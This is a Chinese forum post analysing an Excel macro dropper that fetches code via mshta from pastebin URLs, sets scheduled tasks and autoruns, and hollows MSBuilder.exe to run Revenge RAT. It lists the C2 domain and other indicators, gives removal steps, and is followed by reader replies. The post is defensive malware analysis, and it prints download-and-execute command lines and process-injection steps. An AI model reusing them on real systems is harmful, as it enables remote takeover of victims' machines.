Yennfer_ 发表于 2019-9-21 21:17

xls宏病毒,程序不落地创建傀儡进程实现远控

本帖最后由 Yennfer_ 于 2019-9-24 09:47 编辑

萌新分析,很多不足,请大佬们提出问题,共同学习。
基本信息

FileName
FileSize
FileType
MD5

Order_679873892xls
47,4722 Byte
Rat
7641fef8abc7cb24b66655d11ef3daf2

简介
病毒是一个宏病毒,点击启用宏后会通过mshta.exe来访问url,得到要执行的代码,病毒会创建计划任务与设置开机自启,通过powershell执行代码,从url得到两段PE数据,通过宏加载第一个PE文件,然后通过第一个PE文件创建傀儡进程,傀儡进程是一个远控
流程图

详细分析
解密
病毒会调用mshta.exehttp://bit.ly/8hsshjahassahsh 打开网站后,发现是空白,在浏览器F12,查看网络请求,刷新页面


往下滑,找到script代码,复制出来,复制到浏览器的console


去掉结尾的</script>,把unscape之前的内容改为console.log(,输出解密结果


StrReverse作用是使字符串反序,整理一下


最后会执行命令WScript.Shell.RUN mshta http://www.pastebin.com/raw/nv5d9pYu
访问这个url后会发现这个页面已经挂了,但是在ANYRUN有人跑过这个样本,可以看见传回的参数


同样的方法在console跑一遍,然后整理一下

结束进程
第一段代码,调用CMD关闭进程winword.exe、excel.exe、MSPUB.exe、POWERPNT.exe

创建计划任务
第二段代码,创建一个计划任务,名为Windows Update,每60分钟执行一次,执行的内容是
mshta.exehttp://pastebin.com/raw/vXpe74L2

解密计划任务执行的内容
在浏览器打开url后,全都是混淆的代码


用一样的方法在Console里面用Console.log输出出来


复制到notepad++,看见代码最下面有个replace


按Ctrl+H将中间的字符串替换掉


得到两个字符串,用StrReverse函数将字符串反过来,最后是用powershell执行这段代码


代码解密出来为


利用powershell执行,第三行的代码来自url https://pastebin.com/raw/wMG90xwi


经过解密后:得到一个MZ头的PE数据


第四行的代码url为 https://pastebin.com/raw/W455MkAZ


经过解密后,也可以得到MZ开头的数据

给创建傀儡进程传参
这里先创建一个实例,类和方法都来自第一段数据dll中,然后传入两个参数,第一个是创建的进程名“MSBuiler.exe”,第二个参数是第二段获取的PE结构数据

调用powershell,执行上面代码


第二段代码内容:


创建计划任务
访问 http://pastebin.com/raw//JdTuFmc5 获得要执行的代码


和前面一样,改成console.log


解密之后,发现与上一段代码相同,只是计划任务时间从60分钟运行一次,变成了300分钟运行一次修改注册表
第四段代码修改注册表,内容是http://pastebin.com/raw/CGe3S2Vf取回的内容




一样,放进console里面,改成console.log,解密出的代码如图


最后还是和前两段一样的内容,在注册表自启动中写入,利用Powershell执行代码


反混淆
通过前面MSBuilder.exe编译可以得到两个PE文件,一个DLL,一个EXE,都是用.net编译,都可用de4dot反混淆


反混淆后使用dnSpy查看dll文件,发现其中还是有很多混淆,是ConfuerEX,用工具解一下ConfuerEX混淆
解混淆之前:


解混淆之后:


在JS代码最后,会调用.dll中的类和方法



创建傀儡进程
在Dodo函数传入两个参数,第一个是JS代码中写的MSBuilder,第二个是JS代码中的$f,就是前面解密出的exe文件


在五个目录下查找MSBuilder.exe


当查找到MSBuilder后,就执行下面的代码


这个地方调用了tickleme函数,tickleme函数又调用了PEHeaderE和FUN函数


PEHeaderE函数:


FUN函数里又调用了Smethod_0函数,传入的第一个参数是MSBuidler.exe第二个参数是exe的十六进制数据


Smethod_0函数,先创建了一个MSBuilder的进程


获取到EXE的PE头和ImageBase


判断是32位系统或64位系统,调用获取线程上下文函数


从内存中读取4字节数据,然后卸载映像,清空内存,方便后面注入


得到exe ImageBase的大小然后申请对应大小的空间


在申请的空间中写入exe的header


然后获取到节表,遍历写入节表的所有节




将前面获取到的线程上下文放回,然后唤醒线程,完成创建傀儡进程,执行exe里的内容

EXE
exe中可以看见C2服务器信息、互斥量、ID等信息


进来先找到main函数


.SCG就是new的自己,然后再调用Execute()函数,Execute函数内分别是This.SC、This.PT、This.INST三个函数,每个函数创建了一共线程,执行不同的代码


其中包含有对C2服务器的TCP链接

获得主机各种信息包括病毒ID、IP、主机名、系统信息、内存、杀软信息等,并用key值(lunlaylo)做分隔符,然后发送到服务器

谷歌了一下互斥量“RV_MUTEX-WindowsUpdateSysten32”,发现是一个成熟的远控,名叫” Revenge Rat”
样本溯源

File Name
MD5

Order_679873892xls
7641fef8abc7cb24b66655d11ef3daf2

.dll
d1726dc5808c22be63507e06bbdc087

.exe
esd785a808f7272fb79E33a66570d844



C2:
meandmyjoggar.duckdns.org

URL:
http://www.pastebin.com/raw/nv5d9pYu


http://pastebin.com/raw/vXpe74L2


https://pastebin.com/raw/W455MkAZ


http://pastebin.com/raw//JdTuFmc5


http://pastebin.com/raw/CGe3S2Vf

MUTEX:
RV_MUTEX-WindowsUpdateSysten32
查杀方案
删除注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate
删除名为Windows Update和Update的调用mshta.exe的计划任务
结束进程“MSBuilder.exe
总结
病毒使用excel中的宏执行代码,执行的代码都是从url中获取然后解密出来得到,添加的自启动或计划任务也没有程序落地,每次运行都从url得到数据创建一个傀儡进程实现远控

gym_168 发表于 2019-10-28 20:27

Yennfer_ 发表于 2019-9-23 10:04
是的,就是excel里面的宏,不过office现在默认是禁止的,只要你不点“启用宏”,就应该没啥问题

vba也有防不启用宏文件就不能打开的方法,换句话说在打开文件时,如果你不运行宏,那文件就会自动关闭不让你用;www

Yennfer_ 发表于 2019-9-23 10:06

chmod755 发表于 2019-9-23 09:54
楼主分析的很详细,其实这种调用powershell的,偷个懒,直接去找最后一行的run把它替换成写入到文件,不 ...

powershell 运行的是mshta url, 中途每一行代码都是url,当时看昏了就没想到,学习了哈哈

战言灬永不败 发表于 2019-9-21 21:32

完全看不懂大佬在说什么,但还是要支持一下!

ncic 发表于 2019-9-21 22:59

看标题很牛进来的,不明觉厉了!

冰雪冬樱250 发表于 2019-9-22 09:15

虽然看不到懂,但支持一下

Hmily 发表于 2019-9-22 09:21

空间大小限制没起到有用的地方,倒是带来了麻烦,晚点我直接取消,抱歉。

wanmei 发表于 2019-9-22 10:48

真正的大佬。{:301_993:}

hercity 发表于 2019-9-22 10:49

感谢大佬的研究。我虽然看不懂,但觉得对我有巨大帮助,谢谢大佬。添加收藏了。辛苦了

Peacefuler 发表于 2019-9-22 12:29

感谢分享,看不懂也支持一下。

6263085 发表于 2019-9-22 12:53

看标题很牛进来的,不明觉厉了!进来支持一下

limit81995 发表于 2019-9-22 14:21

看不懂{:1_937:{:1_909:}
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: xls宏病毒,程序不落地创建傀儡进程实现远控